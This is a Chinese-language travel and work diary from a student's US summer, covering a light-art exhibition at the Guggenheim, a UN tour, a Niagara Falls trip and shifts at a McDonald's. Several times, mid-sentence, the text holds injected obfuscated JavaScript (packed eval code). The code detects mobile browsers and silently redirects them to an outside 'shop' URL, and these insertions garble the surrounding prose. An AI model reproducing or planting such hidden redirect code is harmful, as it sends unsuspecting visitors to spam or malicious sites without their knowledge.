有一幅画是颜色和几何形状的组合，我想象着有许多张不同颜色的硬纸，在最底部放一张完整的彩色硬纸，然后选一张不同颜色的硬纸在上面刻出一个长方形，掏空，整齐叠放在第一张上，那么从上往下我们会看见第二张硬纸上呈现一个不同颜色的长方形。然后选择第三张颜色不同的硬纸，在和第二张一样的位置上刻出一个同样的长方形，在另一个位置刻出一个不同的长方形，掏空，然后整齐叠放在第二张硬纸上，那么从上往下就可以看见第三张硬纸上呈现出一个第一张硬纸颜色的长方形和一个第二张硬纸颜色的长方形，以此类推，会有很多张整齐叠放的不同颜色的硬纸呈现出的颜色和形状的混合。这是我的个人理解。 还有一幅画是器物间的相互穿插和缠绕，我就考虑在现实生活中那些器具应该要怎样缠绕穿插才可以在主视图呈现这样一个画面。每一幅“组合”在现实中都有不同的组合，所以我要换着不同的思维和角度去想像，对于我来说有点费脑，不过这样玩得很开心～不论是组合还是混合，结合当初的时代背景，就是世界各地不同的人在不同的文化背景环境之下相互包容理解呈现的和谐画面。哈哈，不管怎样，这是我对作品的理解～ 路过一幅画作，前面围着一群自带板凳的艺术生，领队让他们每个人站起来说自己在画面上看到了什么，每个人的说法都是五花八门千奇百怪，有一个女生说他看到一个在游泳的男人……好吧，那么抽象的画！居然可以看到一个男人！呃，我来客观描述一下那幅画吧，是由各种颜色的矩形和三角形小纸片拼接的一幅画，乍看像是行星卫星那一类。我觉得像是细胞之间的化学反应……好吧，这是我的想象…… 现在终于到了我最想要讲的部分，就是那个叫James的个人展，主题是光，只能说，超赞！他是个天才！（9月15日 继续）说实话，一开始进展厅我看着只是觉得很有创意，有人可以想到用光的投射来模拟出立方体，可是后来我无意间发现了展厅前面设置了一套小桌椅，上面摆放了一本介绍James个人展思想的书，我才发现自己的思维是多么的狭隘。后来我又带着原创者的理念和我自己的理解又把那些展厅看了一遍，心中无限惊叹！下面就来具体说说James的展。 开头先引用James（一下简称为J）说的一句话，“Light is not so much something that reveals as it is itself the revelation.”按照我的理解来翻译就是，“光所揭示的东西不如它本身揭示的多。”（翻译不好……）我还是进一步说一下我的理解吧，我们只有在光照下才可以看见物体，所以可以说是光为我们揭示了事物的本来面貌。但是换一个角度，我们借助光去看事物的同时也是看见了光的，而我们往往忽略了光本身就可以有不同的展现。现在主角是光，而不是通过光去看见的物体。展一共有四个主题，一个是The Cave Wall，我翻译成“被雕刻的墙壁”。这个展厅非常简单，只有两个实物展，剩下的是一些作者的思路图纸。两个实体展都是在一个大约三十平米的空房间，地上铺着灰色的地毯，所有的墙壁粉刷成白色，配上几束白色的稍暗的灯光打在墙上，看上去像是在墙上凿开了一个矩形的洞，光是从室外透进来的。光打造出刻刀的效果。 第二个主题是Painting In Space，译为“在空间作画”。展厅依旧是简单空旷的，但是这次的灯光又昏暗了些，走进房间会赫然发现在墙角悬空放着一个淡白色的立方体。现在的光，是画笔，在空间里画出了一个立方体。依旧是室内摆放的几束光，却利用光的亮度和角度营造了完全不同的效果。 第三个主题是Light Occupies Space，译为“光占据空间”。这次的展厅只有一个，而且一次只能进去十个人，展厅是完全的黑暗，但是一走进去会发现正对的墙壁中央有一个明亮的长方形，但是你通过那个长方形往里看，似乎可以感受到被光充满了的无限的明亮空间。 最后一个主题是Skylight，我把它意译为“天空的颜色”，我觉得这个主题也可以叫Color Sky，“给天空上色”或者“给天空调色”（后面这个翻译更好吧），下面我来具体说。这个展厅就是古根海姆博物馆的螺旋状大天顶，从下往上看是螺旋向上，然后最顶端是一个开口，可以看见天空，光也可以从圆形开口泄下来。但是作者别出心裁地在螺旋走道边都装上可以调整颜色的彩灯，将灯全部开启，并缓缓控制颜色由浅变深，再由深变浅，那么在室内抬头看那个“圆形的天空”就会因为和室内变化的灯光对比呈现不同的颜色，比如我刚进去的时候看天空微微泛红，后来再一次看因为灯光改变就有微微的乳白色。观看这个展最好是躺在大厅正中的那个大垫子上，需要时间和耐心去体会灯光和天空的缓慢变化。在书里还有介绍另一种Skylight的展示，不是利用室内灯光的调控给天空调色，而是利用天然的光在一天之中的变化。展示地是一个圆弧形的白色天顶，中间有一个圆形的通透的洞，自然光可以从洞里透进来，正对着圆形的洞的地面有一个长方形的水池，里面注满了水。光照射到水面通过水面反射到天顶，随着日出日落自然光的颜色变化，透过圆形天顶看天空的颜色也不同，有一张照片上呈现的天空居然是绿色的，惊艳！ 看到这里古根海姆的参观算是基本结束了，心中是留下了无限感慨。去纪念品店选了最喜欢的几张明信片，就走上了第五大道。我走的这一段路叫做“Museum Mile”，确实沿路全都是博物馆，喜欢沿途的大树，只可惜一家珠宝博物馆唯独我去的那天闭馆……又路过的一间大教堂，就开始往回走。再一次路过古根海姆还是很感慨展品带给我的震撼。最喜欢漫无目地在路上游荡，无意间又走到了中央公园，我只能说风景很好，草地上随处可见的是躺着坐着晒太阳的人。中央公园旁边就是大都会博物馆，我确实进去了，不过只坐在了一楼歇凉……实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12997058|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在是又困又乏，可是走出来又要准备去联合国了。 碰巧上了一辆印度阿三的出租，居然自己在车上睡着了……下车的时候印度阿三找我5刀，明显是想要三刀的小费，他问我是否可以？我点点头，就下车了。拿着打印的联合国预约门票已经可以过安检参观了。遇见了不知道情况的中国人，强烈建议和我共用一张门票，还要我告诉门口的保安我们是一起的，我告诉她，门票是一人一张上面打印姓名的，没有办法共用，唯一的方法就是去网上注册预订……进门前我领到了自己的小牌子，过安检以后，就走到了游客的等候大厅。四点之前有一个中文团，挤挤挨挨全是中国人，说话声此起彼伏，等他们一走，等候厅剩下的是英文团，就瞬间安静了许多。我看了一圈，发现了两个亚裔面孔，看着就觉得像是中国人，不过既然这是英文团，我也就不在意了。 闭眼休息了一会儿，我们的导游就来了，是一个来自我听不懂的国家的男导游……他带着我们穿过了联合国的后花园，告诉我们，我们是非常幸运的游客，因为联合国的背面是摆放各国礼物的后花园，是不允许游客参观的，但是由于最近联合国整修，所以只能走这里，这可能是唯一的时段游客可以看见这些国礼的。花园的背后隔着一条河的就是皇后区，我抬眼望了一下，就瞥见了那个青铜鼎，最下面是一排小字，“中华人民共和国”。导游一路都在和我们互动，最开始的一件事就是问国籍。为了方便联合国的员工走动，游客参观是需要排成两列靠边走的，那么自报家门就从第一排开始，依次举手示意然后说国籍。“法国！”“俄罗斯！”“……”（此处省略，记不清了）“香港！”“中国！”……走在我前面的就是那两个我看到的亚裔，哈！香港！我这个中国人正好排在了香港人后面，真是笑死了！以至于后面人从哪里来我压根就没听。这是一种怎样的心态，已经回归了这么多年……算了，既然是这样，我们的回答连起来也就是“Hong Kong，China！”（原谅我自己这样加的标点。） 之后导游为我们做了很具体的一些介绍，为了互动也提了一些问题，比如联合国大楼前有一排的国旗，第一面旗帜是哪个国家的？最后一个加入联合国的国家是哪个？联合国的五种官方语言是什么？那两个香港人简直就是抢答，好吧，表情是很淡定啦。这些都是我们初高中普及过的知识好么？！顿时觉得中国孩子学的真是多……我们先后参观了几个会议厅，看了看镶嵌在座椅后的翻译器，听导游讲解了几幅画的含义。我承认自己对这里兴趣不大，至于为什么会去，有这个念头是因为浩子非常热爱这里…… 好吧，就说几个我觉得有意思的。一个是联合国的世纪愿望，到目前为止还有861个，排在第一的就是解决落后地区孩子的温饱问题和受教育问题，一共摆了两幅照片，一幅是中国西藏的儿童，是受教育的问题；另一幅是非洲的儿童，是温饱的问题。我能想到的就是，我们还有太多的事情要做，可以做的很多，但是也很少……还有就是一位参加过战争的美国艺术家把□□改成了一把吉他，因为握着□□的姿势和握着吉他的姿势是一样的，他希望一切事物都可以变得美好。我很钦佩这位艺术家的这个想法，希望这可以真的实现。在这里还有看到核弹摧毁后的金属，雕塑，宣传的是禁止核武器！最后看到的人权的卡通图片配上文字解说，有几十幅，上面写着，每个人都有受教育的权利！每个人都有唱歌的权利！每个人都有休息的权利……让我觉得温馨可爱～对面就是维和部队的介绍，后来才知道，维和部队是每个国家自愿捐献的……捐献的是人命吗？还是忘不了吐槽，在安理会的会议厅中国香港人问了一个问题，安理会的权利到底有多大？这是典型的“中国思想”问题好么？！哼！香港人！哦哦，联合国有很多工作人员都是中国人。 游览结束我就去买明信片和邮票了，可是由于预订时间偏晚，等我写好要寄，联合国的邮局口已经关门了……这样就没有办法盖到联合国特有的邮戳……这时候从内门走出来一位工作人员，我向她询问，结果她居然答应帮助我把明信片投递到联合国的专属邮箱里～我很开心～然后就急忙往中央车站赶。 因为第二天要去尼亚加拉瀑布，连老师在回家之前带我去逛了一趟中国超市～看着里面满满的中国商品，我激动又兴奋～特别是看到了月饼！果真是要过中秋节了～ 71.大二暑假（17） 8月22日 早上五点多就起了，为的是七点四十五可以到中国城集中出发去尼亚加拉。连老师就是不放心我一个人，所以他也陪着我一起，直到把我送到了导游手上，让我感动万分。萍说，连老师今天也要做一次积极分子，早早就到公司上班了（连老师九点上班，他送我再去上班，大概八点多就到公司了）！导游说我和连老师气质很像，但是说话的口气过于客气，没有想到居然是老师！ 导游是一个比我大七天的天津小姑娘，两年前全家移民美国，叫Angela（一下简称A）。游客分三批上车，我是一个人的第三组，最后上来了一波印度阿三，我边上就坐着一个。上车就被安排收了门票钱，一共是八十多刀，没有学生优惠，原来报团的那些真的是只包括车费和住宿……因为吃你还要自己付……另外还有给导游和司机每天七刀的服务费（是服务费，不是小费）……第一个景点是康宁玻璃中心，我的大爱！先看了玻璃制作的表演，很有意思～后来参观了玻璃博物馆，时间不够，我连饭都没吃还是没有看完……那么多的美我实在描述不了……第二个景点用一句话概括就是，平行层理极其发育的地质公园！好了，吃了饭，挺不错的咖喱，看了一场印第安秀，我可以说我看不懂么！只能说可以理解他们有这种文化……最后看的是尼亚加拉的夜景。 还记得路上看到了尼亚加拉河，由缓至急地奔涌！河的那面就是加拿大。晚上的瀑布打上了彩灯，有一种诡异和神秘，但是这种感觉又会被轰隆隆的水声冲得一干二净，只是让我觉得自己很渺小，很孤独。有一对新人在这里拍婚纱照，是中国人，只有穿婚纱的新娘和西装革履的新郎和一个共同的朋友，用一台单反拍着他们这难忘的日子，简单而快乐。我一个人趴在栏杆上，听着水声，很想家。这份美景是如此的醉人，可是瞬时间却没有人可以分享。一个人旅行是需要一种境界的，大部分时候我很喜欢，因为让我很好的思考，但我毕竟还是一个人。晚间回到住宿的宾馆，我是一个人住的，住的King Size的房间，里面有所有齐全的设施，干净整洁，是我目前住过的最好的房间，不过很累了，洗漱了就该睡了。 8月23日 还好连老师给我买了一大堆的零食饼干，这样我没有吃上饭的话不至于饿着，早饭又是微化饼，就出发去景点了。第一站是安大略湖。绿草，蓝天，碧蓝的湖，湖上白色的帆影，让我久久不忍离去。就在这里跑来了一个金发的小男孩儿，用中文对我说，“我爱你！”字正腔圆，我顿时心生爱怜～这真是十足的浪漫～这是个西班牙小男孩，今年八岁，居然和我是同一个团的，这句中文是导游刚教的。我问他是否知道这句中文的含义，他很可爱的点头～然后就一口气跑了。 接下来去了我期待已久的水电站。站在高处俯视整个工程，一个字，赞！内部是一个小型的博物馆，展示的是水力发电原理，就是特斯拉效应。没有待太久，终于去到了真正的目的地，尼亚加拉大瀑布！我们会乘船游览，进入到瀑布的下方观看。我先是领取了雨衣，就可以耐心等待上船了。心情并没有万分激动，只是随着船往瀑布靠近开始直接接受瀑布的震撼！我一直握着手机拍视频，后来连水浸湿了手机也不在意，而我能够发出的声音，也只有，“太美了！”尼亚加拉瀑布由美国瀑布，马蹄形瀑布和新娘面纱瀑布三部分组成，因为角度原因，在美国境内的观看点不能够把大瀑布看全，所以乘船是唯一的近距离看全景的方法。水汽扑面而来，直到我睁不开眼睛。这是自然的伟大，我只是区区人类，言语无法描述…… 这两天很多游客和导游不断的发生口角，我因为自己玩得开心也就没有在意，但是在回程的路上，矛盾激化了，游客拒绝给服务费！司机停车多次威胁，最终是在十一点到达了中国城……这两天有很多阿三要和我合照，我不知道理由，拍了也就拍了，只是后来阿三拒绝付小费，让我很无奈……车上最开心的就是后来和那个西班牙的小男孩一起唱歌～我给他唱中文歌，他为我唱英文歌，还教我说西班牙语～他说他喜欢中国，喜欢中文，现在也喜欢中文歌～他的妈妈也喜欢，特别喜欢中国的熊猫！他在我之前下车，问我可不可以拥抱？我轻轻拍了拍他肉嘟嘟的后背，欢迎他来中国玩～最后，我还是要吐槽，导游的英文好烂……虽然我还是给了二十刀的小费，那是我自己开心，与她无关。 晚上的中国城……好不容易看到了中国人，却只会说广东话，无奈还是说的英文……可是地铁进错了口，最终还是打了车。和炯炯在中央车站会合已经是十二点了……可是连老师还是没有睡，他和幸一起来火车站接了我们回家，直到我们吃下了一碗热乎乎的面条～心里很暖。 8月24日 昨晚回来太迟，早上起的也不早。连老师一家和我们一起去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016146|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大都会，本来说去Yard Sell（自家庭院里卖二手商品）也只能放弃了。大都会的捐赠门票连老师一人捐了一刀，里面的展品很多，分不同国家和不同时期。我唯对中国的佛像展念念不忘，那个厅里的全部佛像都是从中国偷的……我忘不了那面辉煌的壁画，云岗石窟佛头和敦煌莫高窟的飞天……我知道很多人是无感的，但是想起当时在云岗石窟看见的缺失，我又不禁愤慨了！是，要做的太多了…… 来美国之前去北京，遇见了美国大都会博物馆到北京国博送展，看见了梵高的《柏树》，印象很深，没想到，这次在大都会，又看了这幅《柏树》，这是何等的缘分。对于梵高的画，我是说不出原因的喜欢。在这里看到了很多以前在书本上看过图片的真迹，只能说很感慨人生的神奇。不过我自知审美不够，内涵不足，大都会的很多作品我是欣赏不来了。那么大一个博物馆，我怀疑是否走了三分之一…… 从大都会出来我们一起吃了汉堡王，当然是比不上麦当劳的！之后便去了帝国大厦看夜景。萍说，幸还小，坐高层电梯会Shake她的脑，所以幸和她都不去。连老师是很想带着幸去的，只是一向让着萍，也就罢了。若不是在飞机上看过纽约的夜景，来帝国大厦真的会震撼。是那样的辉煌，像是人类的文明在大地闪耀！再回到家已经是次日，就该出发了。 8月25日 炯炯拒绝花八十刀从连老师家打车去机场，所以夜里没有睡，直接出发了。先坐火车到中央车站，然后打车去机场。无奈上了火车，肚子里还装着刚吃下的连老师煮的热面条，脑子里还是火车站门口连老师和幸送我们离开的场景，我们坐反了方向。被赶下火车的时候火车也没了。我还是不说那些该怪谁的话，这种时候，在一个没有人没有车的村庄小站，炯炯永远是妹妹，她会着急，会害怕，会哭。我向一个醉汉求助，叫来了出租车，花了150美金打车去机场，好在司机开得快及时赶到，在我把钱包掏空的时候，炯炯拒绝付小费……说了两次之后，我拿着行李下车。我无奈……但是也没有力气说话。后来几个小时的飞机，转机我也不知道自己是怎么过的。一夜没睡，最后总算是回来了。 纽约这几天我受了连老师太多的恩惠，感受了太多的温暖，心里无限感激。只是希望有一天，炯炯也能学会感恩……很多东西到现在已经说不出来了。旅行带给我的，是一辈子的感悟。 72.大二暑假（18） 2013年9月4日 星期三 晴 连续几晚我都睡得不好，昨晚虽说睡得迟，但是睡挺好的～还是自己的心理负担太重，现在自己可以静下心来听，然后想，就是一种不错的进步，下面来例举我的缺点，有些是别人眼中的，然后自我反省。 1 清高、装、不真实：这三个形容其实是一样的意思，清高说难听就是装。我认真思考过，那么一瞬间居然理解为什么大家会有这种想法。我没有装，还真是……正是因为我表现出来，反而被人觉得装。比如，曾有一次和老傅一起吃过饭，席间我不喝酒，只喝开水，后来大家去唱K，我也不参与。大家必定会认为我装，但是在外不喝酒是规定，也是我认同的规定，不去唱K是因为我不喜欢，不讲脏话还是因为从小的习惯，可是来美国以后开始爆粗口，我现在觉得仍是不好。写明信片就有人觉得矫情，可这是我最喜欢的事～不是刻意去做，而是真心喜欢，有人说我从小装到大，习惯了。我承认自己以前多不对和不好的事，不过现在还是很开心自己可以改变的~ 2 有当女强人的心，没有做女强人的毅力：我觉得这句话说得非常对！一针见血！我确实是慵懒，有些事就随风去吧！长大了，要学会不争！这样做是不是不上进？我要放下那颗心～ 3 社交、做人烂，融入不了社会：骏说我有太多的看不惯，虽说确实都是不好的。我明白是自己对人要求太高。现在我只能做到第一步，就是理解，我可以理解你为什么这样，只是仍旧看不惯。按骏的说法是我有资本，随性的资本，我不这样认为，所以升级中…… 总觉得很开心，问题出来了有人陪我。炯炯说我是真的文艺，骏说我是有资本，浩子是理解我的人，毛羽对我的了解多，但不愿理解，有些东西他是错了，我变了。大山永远都陪在我身边，向阳哥哥是力挺我的！二师兄算是个好人吧！小韬仍是个孩子！父母很爱我～ 舒心～深呼吸！挂上笑脸上班去！ 2013年9月9日 星期一 多云 昨晚睡前忽然发现自己的眉心之间长满了痘，从麦当劳下班回来带了点蜂蜜，和着点面粉，就先敷脸上了。日记一直在拖，果真是那句话，有那个心，没有那个毅力……惭愧……今天尽力把这几天的事都给补上！ 还有三天的班，我或许就永远离开麦当劳的岗位了，居然有不舍，哈哈！虽然已经念叨了一个月不想上班了～心里的这种感觉有点形容不来了。先说今天的事！下过几场雨后，威利斯顿冷了下来，早上上班吹了风，估计有点着凉，加上昨晚感觉没有睡好，整个人昏昏的……我知道自己今天是八个小时的班，但是工作不到一个小时还是要求休息了，Missy（一个蓝衣经理，对我们非常好，不过她的名字我好像拼错了……）觉得很奇怪，但是她还是答应了。 我一心想着要喝一杯十糖十奶的咖啡！哈，说到这杯咖啡～我一直是很不喜欢咖啡的味道，闻着觉得呛鼻，喝起来也不合我的胃口，特别是上次在西雅图的星巴克和Mark一起喝了一次美式咖啡，那种糟透了的印象挥之不去……可是上班犯困就是需要那么点东西提神，我就选择了咖啡。以前有顾客要求加个三糖三奶就被嫌弃，可是上次点单的时候我要求十糖十奶！收银的人就疯了，因为麦当劳的点餐设置里咖啡最多就是加九糖九奶，像我这种奇怪心态的人是果断被嫌弃了～ 那天早上我是准备好自己付钱吃Steak Muffin的（麦当劳的新品，之前好像有说早餐时段员工可以点的餐只要一到五号，如果你想吃其他的产品需要付半价，我觉得麦当劳的产品走之前最好都尝个遍，所以就准备付钱买Steak Muffin了。午餐也是同理，可以免费的餐是有限的，但是我们发现，几乎所有员工可以点的东西价格都是1.33刀，比如三个Cookie，Mc chichen，Cheeseburger之类的），因为虽然有规定员工点餐有限制，但是有的经理还是可以随意点餐的，但是那天当班的Shinnon（目测是拼错了，是一个神奇的经理，会说自己是Bitch……）是不可以的。我拿钱包路过汉堡线，看见了Vern，就和他打了招呼，说我要吃早餐，问他有没有推荐～Vern可是个大吃货！我晃了晃手里的钱包，意思是不要担心付钱的问题～Vern脱口而出，“Steak Muffin！ Sub Fold Egg！”（Muffin里面用的是Round Egg，就是一整个圆蛋被做成矮圆柱，蛋黄和蛋白是分开的。Fold Egg就是蛋黄和蛋白打匀了，煎成蛋饼折起来。Sub的意思就是把Round换成Fold）我说了谢谢，欢欢喜喜就走了～站在前台，可是点餐的人听不懂我在讲什么……没有办法，炯炯也在前台，就让她过来给我点了，Shinnon远远看见就过来站在机子边上等着给我输号码（员工点餐后需要经理输号码和密码，这样才可以免费或者打折），结果一抬头就看见了Vern站在点餐员工的身后也等着给我输号码！我瞬间超级感动（让我感动的是Vern）～我就点了Steak Muffin和一杯十糖十奶的咖啡，刚说了“That’s All！”Vern就直接抢上去，输了他的号。Shinnon（9月10日继续……）就站在边上看着，无奈走了…… 日记又是补的，记不起昨天的细节了 ……今天早上六点上班，又是九个小时，现在坐着还是觉得累。Cristin（蓝衣经理之一，Vern的妻子，前天晚上炯炯在Face Book上偶然发现的，我们都表示了惊奇！）今天来找我，问我明天早上可不可以五点上班，我答应了。这已经是第二次了，上次是Missy让我和骏骏都提前一小时，六点上班。在麦当劳呆了三个月，或许大家真的是有了感情吧。今天早上去上班的时候天还是黑的，我抬着头看着天上的星星，威利斯顿的天空真的好美，不知道回国以后会不会不习惯大村庄灰扑扑的天……西雅图和威利斯顿的天都有一种压得很低的感觉，似乎很近很近，而且都是出奇的蓝，有云的时候也总是很漂亮～特别是威利斯顿的天空，总是有一条分界，然后一半是蓝蓝的天，另一半是密密紧紧的云～有的时候一半天晴一半下雨～ 不记得是几天前的早上，我迷迷糊糊透过百叶窗瞥见一片金黄，出于好奇我就爬了起来，拨开百叶看！是彩虹！不记得是多少年没有见过彩虹了……我急急忙忙穿了拖鞋拿了钥匙和手机就往外跑。走的是去麦当劳上班的门，右边从地上升起两道彩虹，里面的一道很明显，外面的一道有部分隐没在了乌云里。雨还在下，天越来越黑。可是那金黄色的光又是哪里来的？我只是回头，左边的天空是晴的，金灿灿的太阳刚从地平线上升起，日出！我是第一次看日出～我就这样一会看左一会儿看右，激动得手足无措～因为广角不够，手机不能够把彩虹拍全，但是看见了，就是开心～雨开始飘了起来，我的睡裤和拖鞋都湿了，彩虹也隐去了，我也就回房间睡觉了，那个场景还是像做梦一样！ 说到淋雨，那是这个周六，我休班，和骏骏一起去沃尔玛买给麦当劳员工做水饺的食材。在出沃尔玛的时候天上有很多乌云，骏骏说，不会是等我们走到大草原就下雨吧！大草原其实就是我们要路过的威利斯顿飞机场，那里没有遮挡，要是下雨了就很麻烦……结果我们走到那里真的就开始下雨了……而且还是倾盆大雨！无奈之下我们打算搭车，结果居然没有车停……就在我们无奈的时候，对面来了一辆车停了下来，问，“Get Trouble？You W ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Bun我来当经理，我说好！过了一会儿，他真的让我去Drive-Tru递餐，他在边上给我检查包裹。刚开始还可以，可是后来有遇见一车子的黑人，特别猥琐挑逗地和我说话，感觉很不好，我一下子把窗户关上，对A说我不想和他们说话，麻烦A来递餐。A上前去帮我递了这一单，然后说，他来递餐，就把经理的排版表交给我了。上面写的每个员工的上班时间和下班时间，经理需要安排他们的休息和岗位。A告诉我，这个点马上有人要来了，让我安排岗位……我那一瞬间忽然想了很多……之前递餐有一次跳单，递餐之前需要和顾客确认菜单，可是我就是不想和人说话……又有一次，一个顾客和我说了一句什么，我没听懂，我就急忙让一个黑人去窗口，结果顾客用英文说了一句，“I just want to say thank you。”原来那一句我听不懂的不是英文……那天我觉得自己很失败…… 说到Adam又想到了吃水饺那天下午，我下班很迟，工作到后来状态很不好……其实真的就是很怕上下午的班，上下午班的人太懒散了，没有人干活……但是我知道一点，只要上班和人说话，我的心情就会变好，但是我工作的时候又不喜欢和人说话……每到坚持不住的时候我就想提前下班……不过那天我忽发奇想要教A说中文，就从一到十的教了一遍，A也学的很快，举了一个二十一的例子，他就知道说一百之内的数字了～我帮他把一到十写在了一张放Wrap的纸上，A就一边做汉堡一边看，样子很萌很傻～不过后来出了这么一件事，有人和A催单，A冲他说了一句“Cao”（草泥马……）！我没听懂，A拼过给我听。我很严肃地告诉他这是很不好的一个词！A顿时很惭愧，低低的说了一句，“I had a bad teacher……”可是我瞬间又想到了A想学“You are stupid.”的中文……学语言先学骂人的话，果真是个幼稚的孩子……不过A的中文老师，那个叫他Cao的英文老师，我也知道是谁了…… 最后提一下，想做演员的Taylor，昨天我在炸薯条的时候他给我准备了一杯水，很感动……Melic说他知道香港是中国的，很神气！Medo告诉我约旦男人可以娶四个妻子。 73.大二暑假（19） 2013年9月11日 星期三 晴 刚吃了麦当劳的新品，Wings～期待了好几天了，一下班就从Jason手里半价买了三块装。明天就是在麦当劳工作的最后一天，不管怎么说，还是很欣慰～ 第一次上早上五点的班，心里一直惦记着，所以睡得不沉，很容易就醒了。记得昨晚第一次醒的时候看见炯炯走去调空调，心里祈祷着千万不要只剩下二十分钟可以睡……那时候开机看是凌晨一点。后来四点多又醒了一次，四点半闹钟响醒了，又睡到了四点四十五起的。出门的时候很冷，漫天的星星，很亮，很美！迟到了，快走到麦当劳的时候还在想这么早不开门，Cristin（以下简称C）要什么时候才能发现要给我开门，结果刚站在门口，Cristin就过来帮我开门了。 路过麦当劳的Drive—Tru车道，车寥寥无几，我还在想着这么早去能做些什么。C让我把所有的酱盒填满，再检查杯子杯盖是否齐全。一开始我的策略不行，我先看的是杯子，每次去仓库拿只能拿下三到四挂。后来我发现，早餐时段需求最多的是酱料，尤其是早餐配Britto的Hot Sauce和配Hot Cake的色拉油，很快我又发现了一个带轮子的三层小铁架，于是我就开工了！Jason在每个酱盒了放了几盒酱表明这个盒子需要被哪种酱填满，我就一次一次地跑着，居然出了汗……Maro（一个之前找我麻烦后来却对我很不错的工友，她看起来像是印度人，实则是墨西哥人）带来了Muffin，就是美国超市里卖的那种巨大一盒，她拿着过来问我吃吗？不知道从什么时候开始我习惯性地拒绝吃别人给的东西，那下我居然卡住了！然后连我自己都感到神奇地伸手拿了一个，说了“谢谢”。 早上这个时间段，餐厅总共就只有六个人，几乎人人都在喝着自己的咖啡，吃着Maro给的Muffin，虽然每个人手上都有很多活儿，但是气氛很好～早上有人一口气要了五份Otameal（就是燕麦片加一滴奶油加苹果丁和葡萄干），C让我中途帮忙，后来又让我帮她一起做七杯咖啡，拿巧克力牛奶。我没有想到自己居然会来不及……快要到七点了可是东西还没有准备全。主要原因就是我对仓库的东西摆放一点都不熟悉……天慢慢开始亮了，C问我是否可以接Drive—Tru递餐的位置，我只能回答我还没有准备好东西……不记得是几点，骏骏来了，C让我去点餐。我说骏骏可以点餐，我去递餐，于是麦当劳的前台点餐也开始。 怕冷，于是我在工作服里还套了一件短袖，那样开窗递餐虽然风大，但是感觉好多了。之前是Natia帮我装袋，她还过来帮我做饮料～说起来真是，来了麦当劳，我对于前台的事真的都不怎么懂……尤其是饮料甜品，几乎都不会做……还好平时积累了人缘，今天也很幸运，所以今天递餐从头到尾都有人帮我做饮料。不知道为什么，今天自己特别自信，状态很好，顾客的要求我都自己可以处理。有一位顾客在我把餐递过去后，晃了晃，觉得自己的冰咖啡里冰块不够，我硬是往里加满了冰都晃不动了她才满意。一大清早的，美国人就喜欢吃这些冰冰凉凉的东西……还有热咖啡加冰的……不过早上做到一单是Small Coffee Add 5 Sugar 5 Cream我就笑了，这和我的十糖十奶有异曲同工之妙啊～ 在休息之前，Soger（名字肯定是拼错了，一个挺不错的工友，当过美国大兵，以下简称S）就说他今天做了Gambo（一种美国食物）带给我吃，让我还要告诉骏骏，确定我们一定可以去休息室尝一下。我休息的时候先去休息室看了一眼，大大的两电饭锅，打开盖子是浓浓的汤，因为不确定是什么，在点餐的时候，问了C什么是Gambo，要怎么吃？C回答我，Gambo就是一种汤，有千百种做法，根据你放的东西不同而改变，这是S做的，应该去问他。恰巧S进门了，我就问他应该怎么吃。他领着我进了休息室，让我打开盖子先搅拌两次然后舀到一次性碗里，我瞬间理解了，这就是一种汤，杂烩汤……里面放了青椒红椒香肠大蒜！S说他本来想要加海鲜的，但是太贵，他没有那么多钱。美国人说话的直接还真是让人舒服～我尝了尝，很不错！就是熬了很浓的汤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042856|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉，总觉得像是墨西哥的菜……后来Maro也休息了，她反复说这Smells Good，我就让她盛着吃，没想到她超爱，吃了三碗……Medo也欢喜地吃了两碗，连那个收银的老太太都来尝了！S说这是最正宗的美国食物，还有那么一段历史。我可以说他在说这段历史的时候我没有认真听么……好吧，反正就是说和Gambo一起的最正宗的美国食品没有办法都做给我吃，如果我明年来，那就再做。不管怎么样，这些话听了还是很感动～ 休息回去又去递餐了一会儿，第一次遇见了一种饮料叫Pumpkin Latta，我问演员Taylor（因为他想做演员，所以我们这么叫）可以给我做一杯吗？结果我刚尝了两口就被叫去汉堡线了。这种热饮看起来是土黄色，不过真的是有淡淡的南瓜的味道，主要还是咖啡味吧。做了一会儿肯德基爷爷又来了，整个让汉堡线慢了下来，不过好在我一点就下班了。所以很欢乐也就回来了～ 2013年9月12日 星期四 晴 